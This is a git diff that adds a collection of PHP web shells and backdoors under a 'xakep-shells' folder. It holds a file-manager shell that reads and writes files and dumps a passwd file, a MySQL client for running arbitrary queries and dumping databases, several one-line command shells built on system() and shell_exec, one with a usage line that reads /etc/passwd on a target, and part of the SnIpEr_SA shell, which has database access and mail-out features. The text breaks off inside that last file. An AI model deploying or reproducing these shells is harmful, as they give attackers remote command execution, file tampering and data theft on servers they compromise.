+echo " ".font('green',"FILE : ".$_POST['open'],3);
+if(is_writable($_POST['open'])==1){
+echo w(2).font('green','ACCESS GRANTED');
+echo " ";
+}}
+else $error=font('red',e(2));
+}
+else $error=test_file($_POST['open']);
+}
+if(isset($_POST['save'])){
+$fr=fopen($_POST['sv'],"w");
+$out=$_POST['edit'];
+fputs($fr,$out);
+fclose($fr);
+}
+#
+#CREATE FILE
+if(isset($_POST['cr']) && $_POST['new']!=''){
+if(is_writable(dirname($_POST['new']))){
+echo font('green',"Create new file : ".$_POST['new'],3)."
+
+ ";
+}
+else echo " ".font('red',e(2)." ");
+}
+if(isset($_POST['cre'])){
+$ee=fopen($_POST['nf'],'w+');
+$out=$_POST['newf'];
+fputs($ee,$out);
+fclose($ee);
+}
+#
+#MKDIR
+if(isset($_POST['mk']) && $_POST['mkdir']!=''){
+if(is_writeable('./')){
+@mkdir($_POST['mkdir']);
+echo font('green',"dir ".b($_POST['mkdir'])." create");
+}
+else echo font('red',e(2));
+}
+#
+echo " ";
+#UPLOAD FILE
+if(isset($_POST['menu']) || isset($_POST['qq'])){
+echo "
+
+Save as : File :
+
+
+ ";
+if(isset($_POST['go_up'])){
+if(isset($_POST['name']) && $_POST['name']==''){
+$_POST['name']=$_FILES['userfile']['name'];}
+if(!preg_match('/^\//',$_POST['name'])){
+$_POST['name']=$_POST['th'].'/'.$_POST['name'];}
+if(is_uploaded_file($_FILES['userfile']['tmp_name'])){
+@copy($_FILES['userfile']['tmp_name'],$_POST['name']);}
+else echo " ".font('red',"Permisions denied");}}
+#
+#TEST PERM
+if(isset($_POST['tes']) && $_POST['test']!=''){
+$j=$_POST['test'];
+if(file_exists($j)){
+$w='';
+if(is_writeable($j)){
+$w=w(1).'WRITE'.w(1);
+}
+if(is_readable($j)){
+$w=$w.w(1).'READ'.w(1);
+}
+echo font('green',$w.sprintf("%o", (fileperms($_POST['test'])) & 0777));
+}
+else echo font('red',$e(0));
+}
+#
+#COPY
+if(isset($_POST['copy'])&& $_POST['strin']!='' && $_POST['remot']!=''){
+if(file_exists(dirname($_POST['remot']))){
+if(file_exists($_POST['strin'])){
+if(is_writable(dirname($_POST['remot']))){
+if(is_readable($_POST['strin'])){
+@copy($_POST['strin'],$_POST['remot']);
+}
+else echo font('red',"no read string file");
+}
+else echo font('red',"no write dest directory");
+}
+else echo font('red',"no such file");
+}
+else echo font('red',"no such dest dir");
+}
+#
+#CHECK DISK
+if(isset($_POST['free']) && $_POST['dirfree']!=''){
+if(file_exists($_POST['dirfree'])){
+$fre=@disk_free_space($_POST['dirfree'])/1048576;
+echo font('green',"Free space in ".b($_POST['dirfree'])." : ".$fre." Mb");
+$fre1=@disk_total_space($_POST['dirfree'])/1048576;
+echo " ".font('green',"Full size in ".b($_POST['dirfree'])." : ".$fre1." Mb");
+}
+else echo font('red',"No such disk");
+}
+#
+(isset($_POST['info']))?phpinfo():null;
+#
+#PASSWD
+if(!empty($_POST['passwd']) && isset($_POST['passw'])){
+echo "".font('blue',"file : ".$_POST['passwd'],6)." \n";
+foreach(@file($_POST['passwd']) as $fed)echo $fed;
+echo " \n";}
+#
+if(isset($error))echo $error;?>
+ ".b(font('red','FUNCTION LIST PERMISSION DENIED',6))."");
+sort($arr);
+echo '';
+foreach($arr as $f){
+$l=@lstat($f);
+print((is_readable($f) && is_writeable($f))?"".w(1).b("R".w(1).font('red','RW',3)).w(1):(((is_readable($f))?" ".w(1).b("R").w(4):"").((is_writable($f))?" ".w(1).b(font('red','RW',3)):"")));
+$r=sprintf("%o",(@fileperms($f)) & 0777);
+$ow=posix_getpwuid($l[4]);
+$gr=posix_getgrgid($l[5]);
+$fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f));
+if(!is_readable($f) && !is_writeable($f)) echo " ".w(12);
+echo " $r $fow ";
+if(!is_dir($f)){
+if(!is_link($f)){
+echo w(2)."".$l[7]." ";}
+else echo "link ";}
+else echo "DIR ";
+$fi=htmlspecialchars($f);
+echo "".@strftime('%B %e %H:%M',@filemtime($f))." ".(is_dir($f)?font('blue',$fi,3):$fi)." \n";}
+?>
+
+
diff --git a/xakep-shells/PHP/shankar.php.php.txt b/xakep-shells/PHP/shankar.php.php.txt
new file mode 100644
index 0000000..47b475b
--- /dev/null
+++ b/xakep-shells/PHP/shankar.php.php.txt
@@ -0,0 +1,748 @@
+Simple PHP Mysql client
+\n\n";
+
+$a=array('srv','user','pass','db');$i=-1;
+while($i++<3){
+$text.=" \n";}
+
+$text.=" \nNo Display:
+ DB Tables \".(isset(\$version)?''.\$version[0].' ':'').\"
S i m p l e P H P M y s q l c l i e n t \"";
+
+
+
+if(isset($_POST['sql'])){
+
+if(isset($_POST['user']))$user=$_POST['user'];
+if(isset($_POST['pass']))$password=$_POST['pass'];
+
+if(isset($_POST['srv'])){
+$server=$_POST['srv'];
+
+$connect=@mysql_connect($server,$user,$password) or die(eval($text.";echo \$etext.\" not connect\";"));}
+
+else{die(eval($text.";echo \$etext.\"\";"));}
+
+$version=mysql_fetch_row(mysql_query('SELECT version()'));
+
+if(!empty($_POST['db'])){@mysql_select_db($_POST['db'])or die(eval($text.";echo \$etext.\"Could not select db \";"));}
+
+
+if(empty($_POST['table_sel']) && !empty($_POST['table_sel2']))$_POST['table_sel']=$_POST['table_sel2'];
+
+
+function select(){
+global $connect;
+
+
+if(isset($_POST['table_sel2']) && $_POST['table_sel']!=$_POST['table_sel2']){$_POST['sort']=null;$_POST['br_st']=null;}
+$sort=(!empty($_POST['sort'])?'ORDER BY `'.trim($_POST['sort']).'` '.(($_POST['asc']==='asc')?'ASC':'DESC').' ':'');
+
+$co=((isset($_POST['br_st']) && isset($_POST['br_en']) && isset($_POST['brow']))?$_POST['br_en'].','.$_POST['br_st']:'0,20');
+
+
+
+$_POST['querysql']=((!empty($_POST['querysql']) && isset($_POST['push']))?$_POST['querysql']:"SELECT * FROM `".$_POST['table_sel']."` $sort limit $co");
+
+
+
+$result=@mysql_query($_POST['querysql'],$connect) or print("".$_POST['querysql']." ");
+
+if(is_resource($result)){
+$meta=mysql_fetch_field($result);
+$tables=$meta->table;
+$tr=0;
+if($tables==true){
+
+$tr=1;
+if($quer=mysql_query("select count(*) from $tables"))$n=mysql_fetch_array($quer);
+else $tr=2;
+
+}
+
+else{
+
+$_POST['table_sel']=$tables;
+if($tr==1)$n=mysql_fetch_row(mysql_query('select count(*) from '.$_POST['table_sel']));
+
+
+}
+
+if($tr>0){
+print($tr==1)?" ":'';
+$arr=array();
+for ($i=0;$i";
+
+
+$fields=@mysql_list_fields($_POST['db'],$tables,$connect);
+$coms=@mysql_num_fields($fields);
+if($coms>0){
+echo "\n ";
+for($i=0;$i<$coms;$i++){
+$lk=mysql_field_name($fields, $i);
+print((count($arr)>0 && array_search($lk,$arr)!==false)?"$lk ":"$lk \n");
+}}
+
+while($line=mysql_fetch_assoc($result)){
+$linet=$line;
+if($tr>0){
+if(count($arr)==0){
+while(list($key,$val)=each($line)){$up_e.="`$key`='".addslashes($val)."' and ";}
+$up_e=substr($up_e,0,-5);}
+
+else{
+while(list($key,$val)=each($line)){
+if(array_search($key,$arr)!==false){$up_e.="`$key`='".addslashes($val)."' and ";}}
+$up_e=substr($up_e,0,-4);
+}
+
+$up_e=urlencode($up_e);
+
+print " ".(($tr==1)?" ":' ')." \n";
+}
+else echo "\n";
+
+
+$up_e='';
+
+foreach($line as $col_value){
+echo "".((strlen($col_value)>40)?''.htmlspecialchars($col_value).' ':htmlspecialchars($col_value))." \n";
+}
+
+echo " \n";}
+
+echo "
";
+if($tr==1){
+echo " Sort by
+ ";
+
+foreach(array_keys($linet) as $lkk){
+print "$lkk \n";}
+
+echo "ASC DESC
+Show row(s) start from
+
";
+
+}
+mysql_free_result($result);
+
+}
+else{
+if($result===false)echo mysql_error($connect);
+else echo 'Query susceful! %)';
+}
+
+}
+
+
+
+
+
+
+
+
+
+
+
+
+function load($file){
+global $far;
+if(file_exists($file)){
+eval("\$zd=".$far[$_POST['compr']]."open(\$file,'r');");
+($_POST['compr']<2)?eval("\$buff='';while(!".$far[$_POST['compr']]."eof(\$zd)){\$buff.=".$far[$_POST['compr']]."gets(\$zd);}"):eval("\$buff=bzread(\$zd);");
+eval($far[$_POST['compr']]."close(\$zd);");
+return($buff);
+}
+else{
+print 'no such file!';
+}
+}
+
+function write($data){
+global $dump,$fp,$far;
+($_POST['save']==0)?$dump.=$data:(isset($fp)?eval($far[$_POST['compr']]."write(\$fp,\$data);"):null);}
+
+function sqlh(){
+if($_POST['save']>0){
+global $server,$dbtr;
+write("#\n#Server : ".getenv('SERVER_NAME')."
+#DB_Host : ".$server."
+#DB : ".$_POST['db'].
+(($dbtr==0)?"
+#Table : ".$_POST['table_sel']:"")."\n#\n\n");}}
+
+function sql($tabel_sel){
+global $connect;
+$row=mysql_fetch_row(mysql_query("SHOW CREATE TABLE `$tabel_sel`",$connect));
+write("DROP TABLE IF EXISTS `$tabel_sel`;\n".$row[1].";\n\n");}
+
+function test($aaa){
+$d=array();
+while(list($key,$val)=each($aaa)){$d[$key]=addslashes($val);}
+return($d);}
+
+function sql1($table_sel){
+
+global $connect,$dbtr;
+$result=mysql_query("SELECT ".(!empty($_POST['ufiled'])?$_POST['ufiled']:'*')." FROM `$table_sel` ".(($dbtr==0)?'LIMIT '.$_POST['ulimits'].','.$_POST['ulimite']:''),$connect);
+
+
+
+while($line=mysql_fetch_assoc($result)){
+((!isset($key))?($key=implode('`, `',array_keys($line))):null);
+$ddd=test(array_values($line));
+$val=implode('\', \'',$ddd);
+write("INSERT INTO `".$table_sel."`(`".$key."`) VALUES ('".$val."');\n");}
+
+mysql_free_result($result);}
+
+function head($tmpfname,$name){
+header("Content-Type: application/octet-stream; name=\"$name\"");
+header("Content-Length: ".filesize($tmpfname)."");
+header("Content-disposition: attachment; filename=\"$name\"");
+$fd=fopen($tmpfname,"r");
+while(!feof($fd)){
+echo fgets($fd,4096);}
+fclose($fd);
+($_POST['save']==1)?unlink($tmpfname):null;
+exit;}
+
+function csv($table_sel){
+global $connect,$far,$dbtr;
+$res=mysql_query("SELECT ".(!empty($_POST['ufiled'])?$_POST['ufiled']:'*')." FROM `$table_sel` ".(($dbtr==0)?'LIMIT '.$_POST['ulimits'].','.$_POST['ulimite']:''),$connect);
+$i=0;
+$keys='';
+while($key=@mysql_field_name($res,$i++))$keys.=$key."; ";
+
+write("# Fields: \n#".$keys."\n\n");
+if(mysql_num_rows($res)>0){
+
+
+
+
+while($row=mysql_fetch_assoc($res)){
+$values=array_values($row);
+foreach($values as $k=>$v){$values[$k]=addslashes($v);}
+$values=implode($_POST['cvs_term'],$values);
+write($values."\n");
+}
+
+
+}}
+
+
+if(isset($_POST['back']) && (isset($_POST['table_sel']) || $_POST['dbtr']=1 )){
+$dbtr=$_POST['dbtr'];
+$dump='';
+
+if($_POST['save']>0){
+
+$tmpfname=($_POST['save']==1)?tempnam($_POST['save_p'],"sess_"):$_POST['local'];
+if(is_writeable(dirname($tmpfname))){
+eval("\$fp=".$far[$_POST['compr']]."open(\$tmpfname,'w');");
+}
+}
+
+sqlh();
+
+switch($_POST['as']){
+case 0:
+
+switch($_POST['as_sql']){
+case 0:
+
+
+
+if($dbtr==1){
+$it=0;
+while($table_sel=@mysql_tablename(mysql_list_tables($_POST['db']),$it++)){
+sql($table_sel);
+
+
+}}
+
+else sql($_POST['table_sel']);
+
+
+break;
+case 1:
+
+
+if($dbtr==1){
+$it=0;
+while($table_sel=@mysql_tablename(mysql_list_tables($_POST['db']),$it++)){
+sql($table_sel);
+sql1($table_sel);
+}}
+else {
+sql($_POST['table_sel']);
+sql1($_POST['table_sel']);
+}
+
+
+
+break;
+case 2:
+if($dbtr==1){
+$it=0;
+while($table_sel=@mysql_tablename(mysql_list_tables($_POST['db']),$it++)){
+sql1($table_sel);
+}}
+else sql1($_POST['table_sel']);
+
+
+break;}
+
+if($_POST['save']>0){
+if(isset($fp)){
+eval($far[$_POST['compr']]."close(\$fp);");
+
+($_POST['save']==1)?head($tmpfname,(($dbtr==1)?$_POST['db']:$_POST['table_sel']).$far[$_POST['compr']+3]):($message=''.$_POST['local'].' Saved ');}
+else $message='No writeable select Dir ';
+}
+
+break;
+case 1:
+//-----------------------------------
+
+
+if($dbtr==1){
+$it=0;
+while($table_sel=@mysql_tablename(mysql_list_tables($_POST['db']),$it++)){
+write("\n# Table: $table_sel\n");
+csv($table_sel);
+
+
+}}
+
+else csv($_POST['table_sel']);
+if($_POST['save']>0){
+eval($far[$_POST['compr']]."close(\$fp);");
+($_POST['save']==1)?head($tmpfname,(($dbtr==1)?$_POST['db']:$_POST['table_sel']).$far[$_POST['compr']+3]):'';
+}
+
+//------------------------------
+break;}}
+
+
+
+
+eval($text.";echo \$etext.\"\n
+
+ SQL
+ Search
+ Export
+ Import
+";
+if(!empty($_POST['table_sel']))echo "
+ Browse
+ Insert";
+
+
+
+
+
+echo " \n".(isset($message)?$message:'');}
+
+if(isset($_POST['push']) && !empty($_POST['querysql']))$_POST['go']=4;
+
+if(isset($_POST['back']))$_POST['go']=2;
+
+if(isset($_POST['brow']))$_POST['go']=4;
+
+if(isset($_POST['editr']) && isset($_POST['edit']))$_POST['go']=6;// EDIT
+
+if(isset($_POST['ed_save']))$_POST['go']=7;//INSERT
+
+if(isset($_POST['search']))$_POST['go']=8;
+
+if(isset($_POST['up']) && (!empty($_POST['load']) || !empty($_POST['upload'])))$_POST['go']=9;
+elseif(isset($_POST['up']))$_POST['go']=3;
+
+if((isset($_POST['dell']) && isset($_POST['edit']))|| isset($_POST['delp']))$_POST['go']=10;
+
+if(!isset($_POST['go']) && !empty($_POST['table_sel']))$_POST['go']=4;
+
+
+
+
+
+if(isset($_POST['go'])){
+switch($_POST['go']){
+case 0:
+
+//SQL
+
+echo "
+\n".((!empty($_POST['querysql']))?htmlspecialchars($_POST['querysql'],ENT_QUOTES):((!empty($_POST['table_sel']))?"SELECT * FROM `".$_POST['table_sel']."` WHERE 1":null))." \n";
+
+
+break;
+
+
+case 1:
+echo "
+
+
+";
+
+break;
+
+case 3:
+//IMPORT
+
+
+echo "Load file:
+Local file:
+ Text".(function_exists('gzencode')?' Gzip':'').(function_exists('bzcompress')?' Bzip2':'')."
+ ";
+
+
+
+break;
+
+
+
+case 4:
+
+//BROWSE
+
+
+if(!empty($_POST['table_sel']) || isset($_POST['querysql']))select();
+
+//+++++++++++++++++++++++++++++++++++BROWSE _ END ++++++++++++++++++++++++++++++
+break;
+
+
+case 2:
+
+//EXPORT
+
+if(!isset($_POST['back'])){
+echo '
+';
+if(isset($nt)){
+echo '
+';
+}
+echo ' ';
+}
+
+
+if(isset($_POST['back']) && $_POST['save']==0)echo "".htmlspecialchars($dump)." ";
+break;
+
+
+
+case 5:
+
+//INSERT IN TABLE
+if(!empty($_POST['table_sel'])){
+echo " ";
+
+}
+break;
+
+
+
+
+
+
+case 6:
+
+
+//EDIT
+
+
+
+
+if($_POST['table_sel']===$_POST['table_sel2']){
+
+$up_e=$_POST['edit'];
+echo " ";
+$up_e=urldecode($_POST['edit']);
+echo " ";
+}
+else select();
+
+break;
+
+
+case 7:
+
+//INSERT/UPDATE
+
+$ted='';
+reset($_POST);
+while(list($key,$val)=each($_POST)){
+if(preg_match('/^ed_key:(.+)/',$key,$m)){
+$ted.="`".$m[1]."`= '".addslashes($val)."', ";
+}}
+$ted=substr($ted,0,-2);
+$query=((isset($_POST['insert']))?"INSERT":"UPDATE")." `".$_POST['table_sel']."` SET $ted ".((isset($_POST['insert']))?'':"WHERE ".urldecode($_POST['edit'])." LIMIT 1 ");
+echo "".htmlspecialchars($query,ENT_QUOTES)."
";
+$result=mysql_query($query,$connect) or print("".mysql_error($connect)."
");
+echo "".mysql_info($connect)."
";
+
+
+
+
+break;
+
+case 8:
+//SEARCH;
+
+
+print "";
+
+$j=0;
+
+
+function spdb($line){
+global $connect,$j,$sql;
+$fields=mysql_list_fields($_POST['db'], $line, $connect );
+$columns=mysql_num_fields($fields);
+for($i=0;$i<$columns;$i++){
+$nomField=mysql_field_name($fields,$i);
+$sql="SELECT ".$nomField." FROM ".$line." WHERE ".$nomField.' '.$_POST['opts'].(!preg_match('/NULL/',$_POST['opts'])?" ".(!preg_match('/[><]/',$_POST['opts'])?"'":'').addslashes($_POST['seart']).(!preg_match('/[><]/',$_POST['opts'])?"'":''):'').(!empty($_POST['limits'])?' LIMIT '.$_POST['limits']:'');
+$query=mysql_query($sql) or print(mysql_error($connect));
+
+if(mysql_num_rows($query)>0){
+while($result=mysql_fetch_array($query)){
+echo "Table:
".$line." Field:
".$nomField." SQL:
".htmlspecialchars($sql)." ".htmlspecialchars($result[0])."
";
+echo "
";
+$j++;
+}}}}
+
+
+
+
+
+
+if($_POST['locas']==0){
+$tables=mysql_list_tables($_POST['db']);
+while($line=mysql_fetch_row($tables)){
+spdb($line[0]);
+}}
+else{
+spdb($_POST['table_sel']);
+}
+
+
+
+
+
+echo "
Results: ".$j.'
';
+
+
+
+break;
+
+case 9:
+
+
+if(is_uploaded_file($_FILES['upload']['tmp_name'])) {
+$data=load($_FILES['upload']['tmp_name']);
+}
+elseif(!empty($_POST['load'])){
+$data=load($_POST['load']);
+}
+if(isset($data)){
+$arrup=explode(';',$data);
+if(preg_match('/^[ \n\r]?$/',$arrup[count($arrup)-1]))array_splice($arrup,-1);
+foreach($arrup as $aup){
+mysql_query($aup,$connect) or $err=1;
+}
+print(isset($err)?mysql_error($connect):'Query susceful!');
+}
+
+
+
+
+
+
+break;
+
+case 10:
+//DELETE
+if(!isset($_POST['table_sel2']) || $_POST['table_sel']===$_POST['table_sel2']){
+$code='DELETE FROM `'.$_POST['table_sel'].'` WHERE '.urldecode($_POST['edit']).' LIMIT 1';
+isset($_POST['delp'])?mysql_query($code):print("".htmlspecialchars($code).'
');
+}
+else select();
+
+
+break;
+
+
+
+
+
+
+
+}}
+
+
+
+echo "
\n";
+
+}
+
+else eval($text.";echo \$etext;");
+echo "";
+exit;
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/shell.php.php.txt b/xakep-shells/PHP/shell.php.php.txt
new file mode 100644
index 0000000..ef13ce8
--- /dev/null
+++ b/xakep-shells/PHP/shell.php.php.txt
@@ -0,0 +1,146 @@
+
+
+
+
+ Matamu Mat
+
+
+
+
+
+
+
+Current working directory:
+Root/';
+
+if (!empty($work_dir_splitted[0])) {
+ $path = '';
+ for ($i = 0; $i < count($work_dir_splitted); $i++) {
+ $path .= '/' . $work_dir_splitted[$i];
+ printf('%s /',
+ $PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
+ }
+}
+
+?>
+Choose new working directory:
+
+Current Directory\n";
+ } elseif ($dir == '..') {
+ /* We have found the parent dir. We must be carefull if the parent
+ directory is the root directory (/). */
+ if (strlen($work_dir) == 1) {
+ /* work_dir is only 1 charecter - it can only be / There's no
+ parent directory then. */
+ } elseif (strrpos($work_dir, '/') == 0) {
+ /* The last / in work_dir were the first charecter.
+ This means that we have a top-level directory
+ eg. /bin or /home etc... */
+ echo "Parent Directory \n";
+ } else {
+ /* We do a little bit of string-manipulation to find the parent
+ directory... Trust me - it works :-) */
+ echo "Parent Directory \n";
+ }
+ } else {
+ if ($work_dir == '/') {
+ echo "$dir \n";
+ } else {
+ echo "$dir \n";
+ }
+ }
+ }
+}
+closedir($dir_handle);
+
+?>
+
+
+
+Command:
+
+
+Enable stderr
-trapping?
+
+
+ $tmpfile 2>&1; " .
+ "cat $tmpfile; rm $tmpfile";
+ } else if ($command == 'ls') {
+ /* ls looks much better with ' -F', IMHO. */
+ $command .= ' -F';
+ }
+ system($command);
+}
+?>
+
+
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/simple-backdoor.php.txt b/xakep-shells/PHP/simple-backdoor.php.txt
new file mode 100644
index 0000000..bc0e778
--- /dev/null
+++ b/xakep-shells/PHP/simple-backdoor.php.txt
@@ -0,0 +1,17 @@
+
+
+";
+ $cmd = ($_REQUEST['cmd']);
+ system($cmd);
+ echo "";
+ die;
+}
+
+?>
+
+Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
+
+
diff --git a/xakep-shells/PHP/simple_cmd.html.txt b/xakep-shells/PHP/simple_cmd.html.txt
new file mode 100644
index 0000000..6416588
--- /dev/null
+++ b/xakep-shells/PHP/simple_cmd.html.txt
@@ -0,0 +1,18 @@
+
+
+G-Security Webshell
+
+
+
+
+
+
+
+
+ $cmd = $_REQUEST["-cmd"];?>
+ if($cmd != "") print Shell_Exec($cmd);?>
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/sniper_sa_shell.txt b/xakep-shells/PHP/sniper_sa_shell.txt
new file mode 100644
index 0000000..a3b75ee
--- /dev/null
+++ b/xakep-shells/PHP/sniper_sa_shell.txt
@@ -0,0 +1,2246 @@
+$v)
+ {
+ $_POST[$k] = stripslashes($v);
+ }
+ foreach ($_COOKIE as $k=>$v)
+ {
+ $_COOKIE[$k] = stripslashes($v);
+ }
+ }
+
+if($auth == 1) {
+if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
+ {
+ header('WWW-Authenticate: Basic realm="SnIpEr_SA"');
+ header('HTTP/1.0 401 Unauthorized');
+ exit("SnIpEr_SA : Access Denied ");
+ }
+}
+$head = '
+
+
+
+
+
+
+SnIpEr_SA shell
+
+
+
+
+';
+class zipfile
+{
+ var $datasec = array();
+ var $ctrl_dir = array();
+ var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
+ var $old_offset = 0;
+ function unix2DosTime($unixtime = 0) {
+ $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
+ if ($timearray['year'] < 1980) {
+ $timearray['year'] = 1980;
+ $timearray['mon'] = 1;
+ $timearray['mday'] = 1;
+ $timearray['hours'] = 0;
+ $timearray['minutes'] = 0;
+ $timearray['seconds'] = 0;
+ }
+ return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
+ ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
+ }
+ function addFile($data, $name, $time = 0)
+ {
+ $name = str_replace('\\', '/', $name);
+ $dtime = dechex($this->unix2DosTime($time));
+ $hexdtime = '\x' . $dtime[6] . $dtime[7]
+ . '\x' . $dtime[4] . $dtime[5]
+ . '\x' . $dtime[2] . $dtime[3]
+ . '\x' . $dtime[0] . $dtime[1];
+ eval('$hexdtime = "' . $hexdtime . '";');
+ $fr = "\x50\x4b\x03\x04";
+ $fr .= "\x14\x00";
+ $fr .= "\x00\x00";
+ $fr .= "\x08\x00";
+ $fr .= $hexdtime;
+ $unc_len = strlen($data);
+ $crc = crc32($data);
+ $zdata = gzcompress($data);
+ $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
+ $c_len = strlen($zdata);
+ $fr .= pack('V', $crc);
+ $fr .= pack('V', $c_len);
+ $fr .= pack('V', $unc_len);
+ $fr .= pack('v', strlen($name));
+ $fr .= pack('v', 0);
+ $fr .= $name;
+ $fr .= $zdata;
+ $this -> datasec[] = $fr;
+ $cdrec = "\x50\x4b\x01\x02";
+ $cdrec .= "\x00\x00";
+ $cdrec .= "\x14\x00";
+ $cdrec .= "\x00\x00";
+ $cdrec .= "\x08\x00";
+ $cdrec .= $hexdtime;
+ $cdrec .= pack('V', $crc);
+ $cdrec .= pack('V', $c_len);
+ $cdrec .= pack('V', $unc_len);
+ $cdrec .= pack('v', strlen($name) );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('V', 32 );
+ $cdrec .= pack('V', $this -> old_offset );
+ $this -> old_offset += strlen($fr);
+ $cdrec .= $name;
+ $this -> ctrl_dir[] = $cdrec;
+ }
+ function file()
+ {
+ $data = implode('', $this -> datasec);
+ $ctrldir = implode('', $this -> ctrl_dir);
+ return
+ $data .
+ $ctrldir .
+ $this -> eof_ctrl_dir .
+ pack('v', sizeof($this -> ctrl_dir)) .
+ pack('v', sizeof($this -> ctrl_dir)) .
+ pack('V', strlen($ctrldir)) .
+ pack('V', strlen($data)) .
+ "\x00\x00";
+ }
+}
+function compress(&$filename,&$filedump,$compress)
+ {
+ global $content_encoding;
+ global $mime_type;
+ if ($compress == 'bzip' && @function_exists('bzcompress'))
+ {
+ $filename .= '.bz2';
+ $mime_type = 'application/x-bzip2';
+ $filedump = bzcompress($filedump);
+ }
+ else if ($compress == 'gzip' && @function_exists('gzencode'))
+ {
+ $filename .= '.gz';
+ $content_encoding = 'x-gzip';
+ $mime_type = 'application/x-gzip';
+ $filedump = gzencode($filedump);
+ }
+ else if ($compress == 'zip' && @function_exists('gzcompress'))
+ {
+ $filename .= '.zip';
+ $mime_type = 'application/zip';
+ $zipfile = new zipfile();
+ $zipfile -> addFile($filedump, substr($filename, 0, -4));
+ $filedump = $zipfile -> file();
+ }
+ else
+ {
+ $mime_type = 'application/octet-stream';
+ }
+ }
+function mailattach($to,$from,$subj,$attach)
+ {
+ $headers = "From: $from\r\n";
+ $headers .= "MIME-Version: 1.0\r\n";
+ $headers .= "Content-Type: ".$attach['type'];
+ $headers .= "; name=\"".$attach['name']."\"\r\n";
+ $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
+ $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
+ if(@mail($to,$subj,"",$headers)) { return 1; }
+ return 0;
+ }
+class my_sql
+ {
+ var $host = 'localhost';
+ var $port = '';
+ var $user = '';
+ var $pass = '';
+ var $base = '';
+ var $db = '';
+ var $connection;
+ var $res;
+ var $error;
+ var $rows;
+ var $columns;
+ var $num_rows;
+ var $num_fields;
+ var $dump;
+
+ function connect()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ if(empty($this->port)) { $this->port = '3306'; }
+ if(!function_exists('mysql_connect')) return 0;
+ $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
+ if(is_resource($this->connection)) return 1;
+ break;
+ case 'MSSQL':
+ if(empty($this->port)) { $this->port = '1433'; }
+ if(!function_exists('mssql_connect')) return 0;
+ $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
+ if($this->connection) return 1;
+ break;
+ case 'PostgreSQL':
+ if(empty($this->port)) { $this->port = '5432'; }
+ $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
+ if(!function_exists('pg_connect')) return 0;
+ $this->connection = @pg_connect($str);
+ if(is_resource($this->connection)) return 1;
+ break;
+ case 'Oracle':
+ if(!function_exists('ocilogon')) return 0;
+ $this->connection = @ocilogon($this->user, $this->pass, $this->base);
+ if(is_resource($this->connection)) return 1;
+ break;
+ }
+ return 0;
+ }
+
+ function select_db()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ if(@mysql_select_db($this->base,$this->connection)) return 1;
+ break;
+ case 'MSSQL':
+ if(@mssql_select_db($this->base,$this->connection)) return 1;
+ break;
+ case 'PostgreSQL':
+ return 1;
+ break;
+ case 'Oracle':
+ return 1;
+ break;
+ }
+ return 0;
+ }
+
+ function query($query)
+ {
+ $this->res=$this->error='';
+ switch($this->db)
+ {
+ case 'MySQL':
+ if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
+ {
+ $this->error = @mysql_error($this->connection);
+ return 0;
+ }
+ else if(is_resource($this->res)) { return 1; }
+ return 2;
+ break;
+ case 'MSSQL':
+ if(false===($this->res=@mssql_query($query,$this->connection)))
+ {
+ $this->error = 'Query error';
+ return 0;
+ }
+ else if(@mssql_num_rows($this->res) > 0) { return 1; }
+ return 2;
+ break;
+ case 'PostgreSQL':
+ if(false===($this->res=@pg_query($this->connection,$query)))
+ {
+ $this->error = @pg_last_error($this->connection);
+ return 0;
+ }
+ else if(@pg_num_rows($this->res) > 0) { return 1; }
+ return 2;
+ break;
+ case 'Oracle':
+ if(false===($this->res=@ociparse($this->connection,$query)))
+ {
+ $this->error = 'Query parse error';
+ }
+ else
+ {
+ if(@ociexecute($this->res))
+ {
+ if(@ocirowcount($this->res) != 0) return 2;
+ return 1;
+ }
+ $error = @ocierror();
+ $this->error=$error['message'];
+ }
+ break;
+ }
+ return 0;
+ }
+ function get_result()
+ {
+ $this->rows=array();
+ $this->columns=array();
+ $this->num_rows=$this->num_fields=0;
+ switch($this->db)
+ {
+ case 'MySQL':
+ $this->num_rows=@mysql_num_rows($this->res);
+ $this->num_fields=@mysql_num_fields($this->res);
+ while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
+ @mysql_free_result($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
+ break;
+ case 'MSSQL':
+ $this->num_rows=@mssql_num_rows($this->res);
+ $this->num_fields=@mssql_num_fields($this->res);
+ while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
+ @mssql_free_result($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
+ break;
+ case 'PostgreSQL':
+ $this->num_rows=@pg_num_rows($this->res);
+ $this->num_fields=@pg_num_fields($this->res);
+ while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
+ @pg_free_result($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
+ break;
+ case 'Oracle':
+ $this->num_fields=@ocinumcols($this->res);
+ while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
+ @ocifreestatement($this->res);
